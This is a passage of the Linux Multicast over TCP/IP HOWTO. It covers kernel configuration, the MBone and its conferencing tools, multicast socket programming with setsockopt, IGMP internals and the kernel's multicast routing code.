Full details on IP Multicasting over FDDI are given in RFC 1390: "Transmission of IP and ARP over FDDI Networks". For more information on mapping IP Multicast addresses to ethernet ones, you may consult draft-ietf-mboned-intro-multicast-03.txt: "Introduction to IP Multicast Routing".

If you are interested in IP Multicasting over Token-Ring Local Area Networks, see RFC 1469 for details.


Multicast over TCP/IP HOWTO: Kernel requirements and configuration.

 Next Previous Contents

3. Kernel requirements and configuration.

Linux is, of course (you doubted it?), full Level-2 Multicast-Compliant. It meets all requirements to send, receive and act as a router (mrouter) for multicast datagrams.

If you want just to send and receive, you must say yes to "IP: multicasting" when configuring your kernel. If you also want your Linux box to act as a multicast router (mrouter) you also need to enable multicast routing in the kernel by selecting "IP: forwarding/gatewaying", "IP: multicast routing" and "IP: tunneling", the latter because new versions of mrouted relay on IP tunneling to send multicast datagrams encapsulated into unicast ones. This is necessary when establishing tunnels between multicast hosts separated by unicast-only networks and routers. (The mrouted is a daemon that implements the multicast routing algorithm -the routing policy- and instructs the kernel on how to route multicast datagrams).

Some kernel versions label multicast routing as "EXPERIMENTAL", so you should enable "Prompt for development and/or incomplete code/drivers" in the "Code maturity level options" section.

If, when running the mrouted, traffic generated in the same network your Linux box is connected to is correctly forwarded to the other network, but you can't see the other's network traffic on your local network, check whether you are receiving ICMP protocol error messages. Almost sure you forgot to turn on IP tunneling in your Linux router. It's a kind of stupid error when you know it but, believe me, its quite time-consuming when you don't, and there is no apparent reason that explains what is going wrong. A sniffer proves to be quite useful in these situations!

(You can see more on multicast routing on section Routing Policies and Forwarding Techniques; mrouted and tunnels are also explained in sections The MBone and Multicast applications).

Once you have compiled and installed your new kernel, you should provide a default route for multicast traffic. The goal is to add a route to the network 224.0.0.0.

The problem most people seem to face in this stage of the configuration is with the value of the mask to supply. If you have read Terry Dawson's excellent NET-3-HOWTO, it should not be difficult to guess the correct value, though. As explained there, the netmask is a 32 bit number filled with all-1s in the network part of your IP address, and with all-0s in the host part. Recall from section 2.1 that a class D multicast address has no netwok/host sections. Instead it has a 28-bit group identifier and a 4-bit class D identifier. Well, this 4 bits are the network part and the remaining 28 the host part. So the netmask needed is 11110000000000000000000000000000 or, easier to read: 240.0.0.0. Then, the full command should be:

route add 224.0.0.0 netmask 240.0.0.0 dev eth0

Depending on how old your route program is, you might need to add the -net flag after the add.

Here we supposed that eth0 was multicast-capable and that, when not otherwise specified, we wanted multicast traffic to be output there. If this is not your case, change the dev parameter as appropriate.

The /proc filesystem proves here to be useful once again: you can check /proc/net/igmp to see the groups your host is currently subscribed to.


Multicast over TCP/IP HOWTO: The MBone.

 Next Previous Contents

4. The MBone.

Using a new technology usually carries some advantages and disadvantages. The advantages of multicast are -I think- clear. The main disadvantage is that hundreds of hosts and, specially, routers don't support it yet. As a consequence, people who started working on multicast, bought new equipment, modified their operating systems, and built multicast islands in their local places. Then they discovered that it was difficult to communicate with people doing similar things because if only one of the routers between them didn't support multicast there was nothing to do...

The solution was clear: they decided to build a virtual multicast network in the top of the Internet. That is: sites with multicast routers between them could communicate directly. But sites joined across unicast routers would send their island's multicast traffic encapsulated in unicast packets to other multicast islands. Routers in the middle would not have problems, as they would be dealing with unicast traffic. Finally, in the receiving site, traffic would be de-encapsulated, and sent to the island in the original multicast way. Two ends converting from multicast to unicast, and then again to multicast define what is called a multicast tunnel.

The MBone or Multicast Backbone is that virtual multicast network based on multicast islands connected by multicast tunnels.

Several activities take place in the MBone daily, but it deserves to be remarked the profusion of tele-conferences with real time audio and video taking place across the whole Internet. As an example, it was recently transmitted (live) the talk Linus Torvalds gave to the Silicon Valley Linux Users Group.

For more information on the MBone, see:

http://www.mediadesign.co.at/newmedia/more/mbone-faq.html


Multicast over TCP/IP HOWTO: Multicast applications.

 Next Previous Contents

5. Multicast applications.

Most people dealing with multicast, sooner or later decide to connect to the MBone, and then they usually need an mrouted. You'll also need it if you don't have a multicast-capable router and you want multicast traffic generated in one of your subnets to be "heard" on another. mrouted does circunvect the problem of sending multicast traffic across unicast routers -it encapsulates multicast datagrams into unicast ones (IP into IP)- but this is not the only feature it provides. Most important, it instructs the kernel on how to route (or not-to-route) multicast datagrams based on their source and destination. So, even having a multicast capable router, mrouted can be used to tell it what to do with the datagrams (note I said what, and not how; mrouted says "forward this to the network connected to that interface", but actual forwarding is performed by the kernel). This distinction between actual-forwarding and the algorithm that decides who and how to forward is very useful as it allows to write forwarding code only once and place it into the kernel. Forwarding algorithms and policies are then implemented in user space daemons, so it is very easy to change from one policy to another without the need of kernel re-compilation.

You can get a version of mrouted ported to Linux from:

ftp://www.video.ja.net/mice/mrouted/Linux/. This site is mirrored all across the world. Be sure to read the ftp://www.video.ja.net/mice/README.mirrors file to choose the one nearest you.

Next, we'll focus specially on multicast applications written to connect to the MBone, which have been ported to Linux. The list is picked up from Michael Esler's "Linux Multicast Information" page http://www.cs.virginia.edu/~mke2e/multicast/. I recommend you that page for lots of information and resources on multicast and Linux.

Audio Conferencing

  • NeVoT - Network Voice Terminal http://www.fokus.gmd.de/step/nevot
  • RAT - UCL Robust-Audio Tool http://www-mice.cs.ucl.ac.uk/mice/rat
  • vat - LBL visual audio tool http://www-nrg.ee.lbl.gov/vat/

Video Conferencing

  • ivs - Inria video conferencing system http://www.inria.fr/rodeo/ivs.html
  • nv - Network video tool ftp://ftp.parc.xerox.com/pub/net-research/
  • nv w/ Meteor - Release of nv w/ support for the Matrox Meteor (UVa) ftp://ftp.cs.virginia.edu/pub/gwtts/Linux/nv-meteor.tar.gz
  • vic - LBL video conferencing tool http://www-nrg.ee.lbl.gov/vic/
  • vic w/ Meteor - Release of vic w/ support for the Matrox Meteor (UVa) ftp://ftp.cs.virginia.edu/pub/gwtts/Linux/vic2.7a38-meteor.tar.gz

Other Utilities

  • mmphone Multimedia phone service http://www.eit.com/software/mmphone/phoneform.html
  • wb - LBL shared white board http://www-nrg.ee.lbl.gov/wb/
  • webcast - Reliable multicast application for linking Mosaic browsers http://www.ncsa.uiuc.edu/SDG/Software/XMosaic/CCI/webcast.html

Session Tools

I placed session tools later because I think they deserve some explanation. When a conference takes places, several multicast groups and ports are assigned to each service you want for your conference (audio, video, shared white-boards, etc...) Announces of the conferences that will take place, along with information on multicast groups, ports and programs that will be used (vic, vat, ...) are periodically multicasted to the MBone. Session tools "hear" this information and present you in an easy way which conferences are taking (or will take) place, so you can decide which interest you. Also, they facilitate the task of joining a session. Instead of launching each program that will be used and telling which multicast group/port to join, you usually just need to click and the session tool launches the proper programs suppling them all information needed to join the conference. Session tools usually let you announce your own conferences on the MBone.

  • gwTTS - University of Virginia tele-tutoring system http://www.cs.Virginia.EDU/~gwtts
  • isc - Integrated session controller http://www.fokus.gmd.de/step/isc
  • mmcc - Multimedia conference control ftp://ftp.isi.edu/confctrl/mmcc
  • sd - LBL session directory tool ftp://ftp.ee.lbl.gov/conferencing/sd
  • sd-snoop - Tenet Group session directory snoop utility ftp://tenet.berkeley.edu/pub/software
  • sdr - UCL's next generation session directory ftp://cs.ucl.ac.uk/mice/sdr


Multicast over TCP/IP HOWTO: Multicast programming.

 Next Previous Contents

6. Multicast programming.

Multicast programming... or writing your own multicast applications.

Several extensions to the programming API are needed in order to support multicast. All of them are handled via two system calls: setsockopt() (used to pass information to the kernel) and getsockopt() (to retrieve information regarded multicast behavior). This does not mean that 2 new system calls were added to support multicast. The pair setsockopt()/getsockopt() has been there for years. Since 4.2 BSD at least. The addition consists on a new set of options (multicast options) that are passed to these system calls, that the kernel must understand.

The following are the setsockopt()/getsockopt() function prototypes:

int getsockopt(int s, int level, int optname, void* optval, int* optlen);

int setsockopt(int s, int level, int optname, const void* optval, int optlen);

The first parameter, s, is the socket the system call applies to. For multicasting, it must be a socket of the family AF_INET and its type may be either SOCK_DGRAM or SOCK_RAW. The most common use is with SOCK_DGRAM sockets, but if you plan to write a routing daemon or modify some existing one, you will probably need to use SOCK_RAW ones.

The second one, level, identifies the layer that is to handle the option, message or query, whatever you want to call it. So, SOL_SOCKET is for the socket layer, IPPROTO_IP for the IP layer, etc... For multicast programming, level will always be IPPROTO_IP.

optname identifies the option we are setting/getting. Its value (either supplied by the program or returned by the kernel) is optval. The optnames involved in multicast programming are the following:

                        setsockopt()            getsockopt()
IP_MULTICAST_LOOP           yes                     yes
IP_MULTICAST_TTL            yes                     yes
IP_MULTICAST_IF             yes                     yes
IP_ADD_MEMBERSHIP           yes                      no
IP_DROP_MEMBERSHIP          yes                      no

optlen carries the size of the data structure optval points to. Note that in getsockopt() it is a value-result rather than a value: the kernel writes the value of optname in the buffer pointed by optval and informs us of that value's size via optlen.

Both setsockopt() and getsockopt() return 0 on success and -1 on error.

6.1 IP_MULTICAST_LOOP.

You have to decide, as the application writer, whether you want the data you send to be looped back to your host or not. If you plan to have more than one process or user "listening", loopback must be enabled. On the other hand, if you are sending the images your video camera is producing, you probably don't want loopback, even if you want to see yourself on the screen. In that latter case, your application will probably receive the images from a device attached to the computer and send them to the socket. As the application already "has" that data, it is improbable it wants to receive it again on the socket. Loopback is by default enabled.

Regard that optval is a pointer. You can't write:

setsockopt(socket, IPPROTO_IP, IP_MULTICAST_LOOP, 0, 1);
to disable loopback. Instead write:
u_char loop;
setsockopt(socket, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, sizeof(loop));
and set loop to 1 to enable loopback or 0 to disable it.

To know whether a socket is currently looping-back or not use something like:

u_char loop;
int size;

getsockopt(socket, IPPROTO_IP, IP_MULTICAST_LOOP, &loop, &size)

6.2 IP_MULTICAST_TTL.

If not otherwise specified, multicast datagrams are sent with a default value of 1, to prevent them to be forwarded beyond the local network. To change the TTL to the value you desire (from 0 to 255), put that value into a variable (here I name it "ttl") and write somewhere in your program:

u_char ttl;
setsockopt(socket, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(ttl));

The behavior with getsockopt() is similar to the one seen on IP_MULTICAST_LOOP.

6.3 IP_MULTICAST_IF.

Usually, the system administrator specifies the default interface multicast datagrams should be sent from. The programmer can override this and choose a concrete outgoing interface for a given socket with this option.

struct in_addr interface_addr;
setsockopt (socket, IPPROTO_IP, IP_MULTICAST_IF, &interface_addr, sizeof(interface_addr));

>From now on, all multicast traffic generated in this socket will be output from the interface chosen. To revert to the original behavior and let the kernel choose the outgoing interface based on the system administrator's configuration, it is enough to call setsockopt() with this same option and INADDR_ANY in the interface field.

In determining or selecting outgoing interfaces, the following ioctls might be useful: SIOCGIFADDR (to get an interface's address), SIOCGIFCONF (to get the list of all the interfaces) and SIOCGIFFLAGS (to get an interface's flags and, thus, determine whether the interface is multicast capable or not -the IFF_MULTICAST flag-).

If the host has more than one interface and the IP_MULTICAST_IF option is not set, multicast transmissions are sent from the default interface, although the remainding interfaces might be used for multicast forwarding if the host is acting as a multicast router.

6.4 IP_ADD_MEMBERSHIP.

Recall that you need to tell the kernel which multicast groups you are interested in. If no process is interested in a group, packets destined to it that arrive to the host are discarded. In order to inform the kernel of your interests and, thus, become a member of that group, you should first fill a ip_mreq structure which is passed later to the kernel in the optval field of the setsockopt() system call.

The ip_mreq structure (taken from /usr/include/linux/in.h) has the following members:

struct ip_mreq
{
        struct in_addr imr_multiaddr;   /* IP multicast address of group */
        struct in_addr imr_interface;   /* local IP address of interface */
};

(Note: the "physical" definition of the structure is in the file above specified. Nonetheless, you should not include <linux/in.h> if you want your code to be portable. Instead, include <netinet/in.h> which, in turn, includes <linux/in.h> itself).

The first member, imr_multiaddr, holds the group address you want to join. Remember that memberships are also associated with interfaces, not just groups. This is the reason you have to provide a value for the second member: imr_interface. This way, if you are in a multihomed host, you can join the same group in several interfaces. You can always fill this last member with the wildcard address (INADDR_ANY) and then the kernel will deal with the task of choosing the interface.

With this structure filled (say you defined it as: struct ip_mreq mreq;) you just have to call setsockopt() this way:

setsockopt (socket, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq));

Notice that you can join several groups to the same socket, not just one. The limit to this is IP_MAX_MEMBERSHIPS and, as of version 2.0.33, it has the value of 20.

6.5 IP_DROP_MEMBERSHIP.

The process is quite similar to joining a group:

struct ip_mreq mreq;
setsockopt (socket, IPPROTO_IP, IP_DROP_MEMBERSHIP, &mreq, sizeof(mreq));

where mreq is the same structure with the same data used when joining the group. If the imr_interface member is filled with INADDR_ANY, the first matching group is dropped.

If you have joined a lot of groups to the same socket, you don't need to drop memberships in all of them in order to terminate. When you close a socket, all memberships associated with it are dropped by the kernel. The same occurs if the process that opened the socket is killed.

Finally, keep in mind that a process dropping membership for a group does not imply that the host will stop receiving datagrams for that group. If another socket joined that group in that same interface previously to this IP_DROP_MEMBERSHIP, the host will keep being a member of that group.

Both ADD_MEMBERSHIP and DROP_MEMBERSHIP are nonblocking operations. They should return immediately indicating either success or failure.


Multicast over TCP/IP HOWTO: The internals.

 Next Previous Contents

7. The internals.

This section's aim is to provide some information, not needed to reach a basic understanding on how multicast works nor to be able to write multicast programs, but which is very interesting, gives some insight on the underlying multicast protocols and implementations, and may be useful to avoid common errors and misunderstandings.

7.1 IGMP.

When talking about IP_ADD_MEMBERSHIP and IP_DROP_MEMBERSHIP, we said that the information provided by this "commands" was used by the kernel to choose which multicast datagrams accept or discard. This is true, but it is not all the truth. Such a simplification would imply that multicast datagrams for all multicast groups around the world would be received by our host, and then it would check the memberships issued by processes running on it to decide whether to pass the traffic to them or to throw it out. As you can imagine, this is a complete bandwidth waste.

What actually happens is that hosts instruct their routers telling them which multicast groups they are interested in; then, those routers tell their up-stream routers they want to receive that traffic, and so on. Algorithms employed for making the decision of when to ask for a group's traffic or saying that it is not desired anymore, vary a lot. There's something, however, that never changes: how this information is transmitted. IGMP is used for that. It stands for Internet Group Management Protocol. It is a new protocol, similar in many aspects to ICMP, with a protocol number of 2, whose messages are carried in IP datagrams, and which all level 2-compliant host are required to implement.

As said before, it is used both by hosts giving membership information to its routers, and by routers to communicate between themselves. In the following I'll cover only the hosts-routers relationships, mainly because I was unable to find information describing router to router communication other than the mrouted source code (rfc 1075 describing the Distance Vector Multicast Routing Protocol is now obsoleted, and mrouted implements a modified DVMRP not yet documented).

IGMP version 0 is specified in RFC-988 which is now obsoleted. Almost no one uses version 0 now.

IGMP version 1 is described in RFC-1112 and, although it is updated by RFC-2236 (IGMP version 2) it is in wide use still. The Linux kernel implements the full IGMP version 1 and parts of version 2 requirements, but not all.

Now I'll try to give an informal description of the protocol. You can check RFC-2236 for an in-proof formal description, with lots of state diagrams and time-out boundaries.

All IGMP messages have the following structure:

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |      Type     | Max Resp Time |           Checksum            |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                         Group Address                         |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

IGMP version 1 (hereinafter IGMPv1) labels the "Max Resp Time" as "Unused", zeroes it when sent, and ignores it when received. Also, it brakes the "Type" field in two 4-bits wide fields: "Version" and "Type". As IGMPv1 identifies a "Membership Query" message as 0x11 (version 1, type 1) and IGMPv2 as 0x11 too, the 8 bits have the same effective interpretation.

I think it is more instructive to give first the IGMPv1 description and next point out the IGMPv2 additions, as they are mainly that, additions.

For the following discussions it is important to remember that multicast routers receive all IP multicast datagrams.

IGMP version 1.

Routers periodically send IGMP Host Membership Queries to the all-hosts group (224.0.0.1) with a TTL of 1 (once every minute or two). All multicast-capable hosts hear them, but don't answer immediately to avoid an IGMP Host Membership Report storm. Instead, they start a random delay timer for each group they belong to on the interface they received the query.

Sooner or later, the timer expires in one of the hosts, and it sends an IGMP Host Membership Report (also with TTL 1) to the multicast address of the group being reported. As it is sent to the group, all hosts that joined the group -and which are currently waiting for their own timer to expire- receive it, too. Then, they stop their timers and don't generate any other report. Just one is generated -by the host that chose the smaller timeout-, and that is enough for the router. It only needs to know that there are members for that group in the subnet, not how many nor which.

When no reports are received for a given group after a certain number of queries, the router assumes that no members are left, and thus it doesn't have to forward traffic for that group on that subnet. Note that in IGMPv1 there are no "Leave Group messages".

When a host joins a new group, the kernel sends a report for that group, so that the respective process needs not to wait a minute or two until a new membership query is received. As you can see this IGMP packet is generated by the kernel as a response to the IP_ADD_MEMBERSHIP command, seen in section IP_ADD_MEMBERSHIP. Note the emphasis in the adjective "new": if a process issues an IP_ADD_MEMBERSHIP command for a group the host is already a member of, no IGMP packets are sent as we must already be receiving traffic for that group; instead, a counter for that group's use is incremented. IP_DROP_MEMBERSHIP generates no datagrams in IGMPv1.

Host Membership Queries are identified by Type 0x11, and Host Membership Reports by Type 0x12.

No reports are sent for the all-hosts group. Membership in this group is permanent.

IGMP version 2.

One important addition to the above is the inclusion of a Leave Group message (Type 0x17). The reason is to reduce the bandwidth waste between the time the last host in the subnet drops membership and the time the router times-out for its queries and decides there are no more members present for that group (leave latency). Leave Group messages should be addressed to the all-routers group (224.0.0.2) rather than to the group being left, as that information is of no use for other members (kernel versions up to 2.0.33 send them to the group; although it does no harm to the hosts, it's a waste of time as they have to process them, but don't gain useful information). There are certain subtle details regarding when and when-not to send Leave Messages; if interested, see the RFC.

When an IGMPv2 router receives a Leave Message for a group, it sends Group-Specific Queries to the group being left. This is another addition. IGMPv1 has no group-specific queries. All queries are sent to the all-hosts group. The Type in the IGMP header does not change (0x11, as before), but the "Group Address" is filled with the address of the multicast group being left.

The "Max Resp Time" field, which was set to 0 in transmission and ignored on reception in IGMPv1, is meaningful only in "Membership Query" messages. It gives the maximum time allowed before sending a report in units of 1/10 second. It is used as a tune mechanism.

IGMPv2 adds another message type: 0x16. It is a "Version 2 Membership Report" sent by IGMPv2 hosts if they detect an IGMPv2 router is present (an IGMPv2 host knows an IGMPv1 router is present when it receives a query with the "Max Response" field set to 0).

When more than one router claims to act as querier, IGMPv2 provides a mechanism to avoid "discussions": the router with the lowest IP address is designed to be querier. The other routers keep timeouts. If the router with lower IP address crashes or is shutdown, the decision of who will be the querier is taken again after the timers expire.

7.2 Kernel corner.

This sub-section gives some start-points to study the multicast implementation of the Linux kernel. It does not explain that implementation. It just says where to find things.

The study was carried over version 2.0.32, so it could be a bit outdated by the time you read it (network code seems to have changed A LOT in 2.1.x releases, for instance).

Multicast code in the Linux kernel is always surrounded by #ifdef CONFIG_IP_MULTICAST / #endif pairs, so that you can include/ exclude it from your kernel based on your needs (this inclusion/exclusion is done at compile time, as you probably know if reading that section... #ifdefs are handled by the preprocessor. The decision is made based in what you selected when doing either a make config, make menuconfig or make xconfig).

You might want multicast features, but if your Linux box is not going to act as a multicast router you will probably not want multicast router features included in your new kernel. For this you have the multicast routing code surrounded by #ifdef CONFIG_IP_MROUTE / #endif pairs.

Kernel sources are usually placed in /usr/src/linux. However, the place may change so, both for accuracy and brevity, I will refer to the root directory of the kernel sources as just LINUX. Then, something like LINUX/net/ipv4/udp.c should be the same as /usr/src/linux/net/ipv4/udp.c if you unpacked the kernel sources in the /usr/src/linux directory.

All multicast interfaces with user programs shown in the section devoted to multicast programming were driven across the setsockopt()/ getsockopt() system calls. Both of them are implemented by means of functions that make some tests to verify the parameters passed to them and which, in turn, call another function that makes some additional tests, demultiplexes the call based on the level parameter to either system call, and then calls another function which... (if interested in all this jumps, you can follow them in LINUX/net/socket.c (functions sys_socketcall() and sys_setsockopt(), LINUX/net/ipv4/af_inet.c (function inet_setsockopt()) and LINUX/net/ipv4/ip_sockglue.c (function ip_setsockopt()) ).

The one which interests us is LINUX/net/ipv4/ip_sockglue.c. Here we find ip_setsockopt() and ip_getsockopt() which are mainly a switch (after some error checking) verifying each possible value for optname. Along with unicast options, all multicast ones seen here are handled: IP_MULTICAST_TTL, IP_MULTICAST_LOOP, IP_MULTICAST_IF, IP_ADD_MEMBERSHIP and IP_DROP_MEMBERSHIP. Previously to the switch, a test is made to determine whether the options are multicast router specific, and if so, they are routed to the ip_mroute_setsockopt() and ip_mroute_getsockopt() functions (file LINUX/net/ipv4/ipmr.c).

In LINUX/net/ipv4/af_inet.c we can see the default values we talked about in previous sections (loopback enabled, TTL=1) provided when the socket is created (taken from function inet_create() in this file):

#ifdef CONFIG_IP_MULTICAST
        sk->ip_mc_loop=1;
        sk->ip_mc_ttl=1;
        *sk->ip_mc_name=0;
        sk->ip_mc_list=NULL;
#endif

Also, the assertion of "closing a socket makes the kernel drop all memberships this socket had" is corroborated by:

#ifdef CONFIG_IP_MULTICAST
                /* Applications forget to leave groups before exiting */
                ip_mc_drop_socket(sk);
#endif
taken from inet_release(), on the same file as before.

Device independent operations for the Link Layer are kept in LINUX/net/core/dev_mcast.c.

Two important functions are still missing: the processing of input and output multicast datagrams. As any other datagrams, incoming datagrams are passed from the device drivers to the ip_rcv() function (LINUX/net/ipv4/ip_input.c). In this function is where the perfect filtering is applied to multicast packets that crossed the devices layer (recall that lower layers only perform best-effort filtering and is IP who 100% knows whether we are interested in that multicast group or not). If the host is acting as a multicast router, this function decides too whether the datagram should be forwarded and calls ipmr_forward() appropriately. (ipmr_forward() is implemented in LINUX/net/ipv4/ipmr.c).

Code in charge of out-putting packets is kept in LINUX/net/ipv4/ip_output.c. Here is where the IP_MULTICAST_LOOP option takes effect, as it is checked to see whether to loop back the packets or not (function ip_queue_xmit()). Also the TTL of the outgoing packet is selected based on whether it is a multicast or unicast one. In the former case, the argument passed to the IP_MULTICAST_TTL option is used (function (ip_build_xmit()).

While working with mrouted (a program which gives the kernel information about how to route multicast datagrams), we detected that all multicast packets originated on the local network were properly routed..., except the ones from the Linux box that was acting as the multicast router!! ip_input.c was working OK, but it seemed ip_output.c wasn't. Reading the source code for the output functions, we found that outgoing datagrams were not being passed to ipmr_forward(), the function that had to decide whether they should be routed or not. The packets were outputed to the local network but, as network cards are usually unable to read their own transmissions, those datagrams were never routed. We added the necessary code to the ip_build_xmit() function and everything was OK again. (Having the sources for your kernel is not a luxury or pedantry; it's a need!)

ipmr_forward() has been mentioned a couple of times. It is an important function as it solves one important misunderstanding that appears to be widely expanded. When routing multicast traffic, it is not mrouted who makes the copies and sends them to the proper recipients. mrouted receives all multicast traffic and, based on that information, computes the multicast routing tables and tells the kernel how to route: "datagrams for this group coming from that interface should be forwarded to those interfaces". This information is passed to the kernel by calls to setsockopt() on a raw socket opened by the mrouted daemon (the protocol specified when the raw socket was created must be IPPROTO_IGMP). This options are handled in the ip_mroute_setsockopt() function from LINUX/net/ipv4/ipmr.c. The first option (would be better to call them commands rather than options) issued on that socket must be MRT_INIT. All other commands are ignored (returning -EACCES) if MRT_INIT is not issued first. Only one instance of mrouted can be running at the same time in the same host. To keep track of this, when the first MRT_INIT is received, an important variable, struct sock* mroute_socket, is pointed to the socket MRT_INIT was received on. If mroute_socket is not null when attending an MRT_INIT this means another mrouted is already running and -EADDRINUSE is returned. All resting commands (MRT_DONE, MRT_ADD_VIF, MRT_DEL_VIF, MRT_ADD_MFC, MRT_DEL_MFC and MRT_ASSERT) return -EACCES if they come from a socket different than mroute_socket.

As routed multicast datagrams can be received/sent across either physical interfaces or tunnels, a common abstraction for both was devised: VIFs, Virtual InterFaces. mrouted passes vif structures to the kernel, indicating physical or tunnel interfaces to add to its routing tables, and multicast forwarding entries saying where to forward datagrams.

VIFs are added with MRT_ADD_VIF and deleted with MRT_DEL_VIF. Both pass a struct vifctl to the kernel (defined in /usr/include/linux/mroute.h) with the following information:

struct vifctl {
        vifi_t  vifc_vifi;              /* Index of VIF */
        unsigned char vifc_flags;       /* VIFF_ flags */
        unsigned char vifc_threshold;   /* ttl limit */
        unsigned int vifc_rate_limit;   /* Rate limiter values (NI) */
        struct in_addr vifc_lcl_addr;   /* Our address */
        struct in_addr vifc_rmt_addr;   /* IPIP tunnel addr */
};

With this information a vif_device structure is built:

struct vif_device
{
        struct device   *dev;                   /* Device we are using */
        struct route    *rt_cache;              /* Tunnel route cache */
        unsigned long   bytes_in,bytes_out;
        unsigned long   pkt_in,pkt_out;         /* Statistics */
        unsigned long   rate_limit;             /* Traffic shaping (NI) */
        unsigned char   threshold;              /* TTL threshold */
        unsigned short  flags;                  /* Control flags */
        unsigned long   local,remote;           /* Addresses(remote for tunnels)*/
};

Note the dev entry in the structure. The device structure is defined in /usr/include/linux/netdevice.h file. It is a big structure, but the field that interests us is:

  struct ip_mc_list*    ip_mc_list;   /* IP multicast filter chain    */

The ip_mc_list structure -defined in /usr/include/linux/igmp.h- is as follows:

struct ip_mc_list
{
        struct device *interface;
        unsigned long multiaddr;
        struct ip_mc_list *next;
        struct timer_list timer;
        short tm_running;
        short reporter;
        int users;
};

So, the ip_mc_list member from the dev structure is a pointer to a linked list of ip_mc_list structures, each containing an entry for each multicast group the network interface is a member of. Here again we see membership is associated to interfaces. LINUX/net/ipv4/ip_input.c traverses this linked list to decide whether the received datagram is destined to any group the interface that received the datagram belongs to:

#ifdef CONFIG_IP_MULTICAST
                if(!(dev->flags&IFF_ALLMULTI) && brd==IS_MULTICAST
                   && iph->daddr!=IGMP_ALL_HOSTS
                   && !(dev->flags&IFF_LOOPBACK))
                {
                        /*
                         *      Check it is for one of our groups
                         */
                        struct ip_mc_list *ip_mc=dev->ip_mc_list;
                        do
                        {
                                if(ip_mc==NULL)
                                {
                                        kfree_skb(skb, FREE_WRITE);
                                        return 0;
                                }
                                if(ip_mc->multiaddr==iph->daddr)
                                        break;
                                ip_mc=ip_mc->next;
                        }
                        while(1);
                }
#endif

The users field in the ip_mc_list structure is used to implement what was said in section IGMP version 1: if a process joins a group and the interface is already a member of that group (ie, another process joined that same group in that same interface before) only the count of members (users) is incremented. No IGMP messages are sent, as you can see in the following code (taken from ip_mc_inc_group(), called by ip_mc_join_group(), both in LINUX/net/ipv4/igmp.c):

        for(i=dev->ip_mc_list;i!=NULL;i=i->next)
        {
                if(i->multiaddr==addr)
                {
                        i->users++;
                        return;
                }
        }

When dropping memberships, the counter is decremented and additional operations are performed only when the count reaches 0 (ip_mc_dec_group()).

MRT_ADD_MFC and MRT_DEL_MFC set or delete forwarding entries in the multicast routing tables. Both pass a struct mfcctl to the kernel (also defined in /usr/include/linux/mroute.h) with this information:

struct mfcctl
{
        struct in_addr mfcc_origin;             /* Origin of mcast      */
        struct in_addr mfcc_mcastgrp;           /* Group in question    */
        vifi_t  mfcc_parent;                    /* Where it arrived     */
        unsigned char mfcc_ttls[MAXVIFS];       /* Where it is going    */
};

With all this information in hand, ipmr_forward() "walks" across the VIFs, and if a matching is found it duplicates the datagram and calls ipmr_queue_xmit() which, in turn, uses the output device specified by the routing table and the proper destination address if the packet is to be sent across a tunnel (ie, the unicast destination address of the other end of the tunnel).

Function ip_rt_event() (not directly related to output, but which is in ip_output.c too) receives events related to a network device, like the device going up. This function assures that then the device joins the ALL-HOSTS multicast group.

IGMP functions are implemented in LINUX/net/ipv4/igmp.c. Important information for that functions appears in /usr/include/linux/igmp.h and /usr/include/linux/mroute.h. The IGMP entry in the /proc/net directory is created with ip_init() in LINUX/net/ipv4/ip_output.c.


Multicast over TCP/IP HOWTO: Routing Policies and Forwarding Techniques.

 Next Previous Contents

8. Routing Policies and Forwarding Techniques.

One trivial algorithm to make worldwide multicast traffic available everywhere could be to send it... everywhere, despite someone wants it or not. As this does not seem quite optimized, several routing algorithms and forwarding techniques have been implemented.

DVMRP (Distance Vector Multicast Routing Protocol) is, perhaps, the one most multicast routers use now. It is a dense mode routing protocol, that is, it performs well in environments with high bandwidth and densely distributed members. However, in sparse mode scenarios, it suffers from scalability problems.

Together with DVMRP we can find other dense mode routing protocols, such as MOSPF (Multicast Extensions to OSPF -Open Shortest Path First-) and PIM-DM (Protocol-Independent Multicast Dense Mode).

To perform routing in sparse mode environments, we have PIM-SM (Protocol Independent Multicast Sparse Mode) and CBT (Core Based Trees).

OSPF version 2 is explained in RFC 1583, and MOSPF in RFC 1584. PIM-SM and CBT specifications can be found in RFC 2117 and 2201, respectively.

All this routing protocols use some type of multicast forwarding, such as flooding, Reverse Path Broadcasting (RPB), Truncated Reverse Path Broadcasting (TRPB), Reverse Path Multicasting (RPM) or Shared Trees.

It would be too long to explain them here and, as short descriptions for them are publicly available, I'll just recommend reading the draft-ietf-mboned-in.txt text. You can find it in the same places RFCs are available, and it explains in some detail all the above techniques and policies.


Multicast over TCP/IP HOWTO: Multicast Transport Protocols.

 Next Previous Contents

9. Multicast Transport Protocols.

So far we have been talking about multicast transmissions using UDP. This is the usual practice, as it is impossible to do it with TCP. However, intense research is taking place since a couple of years in order to develop some new multicast transport protocols.

Several of these protocols have been implemented and are being tested. A good lesson from them is that it seems no multicast transport protocol is general and good enough for all types of multicast applications.

If transport protocols are complex and difficult to tune, imagine dealing with delays (in multimedia conferences), data loss, ordering, retransmissions, flow and congestion control, group management, etc, when the receiver is not one, but perhaps hundreds or thousands of sparse hosts. Here scalability is an issue, and new techniches are implemented, such as not giving acknowledges for every packet received but, instead, send negative acknowledges (NACKs) for data not received. RFC 1458 gives the proposed requirements for multicast protocols.

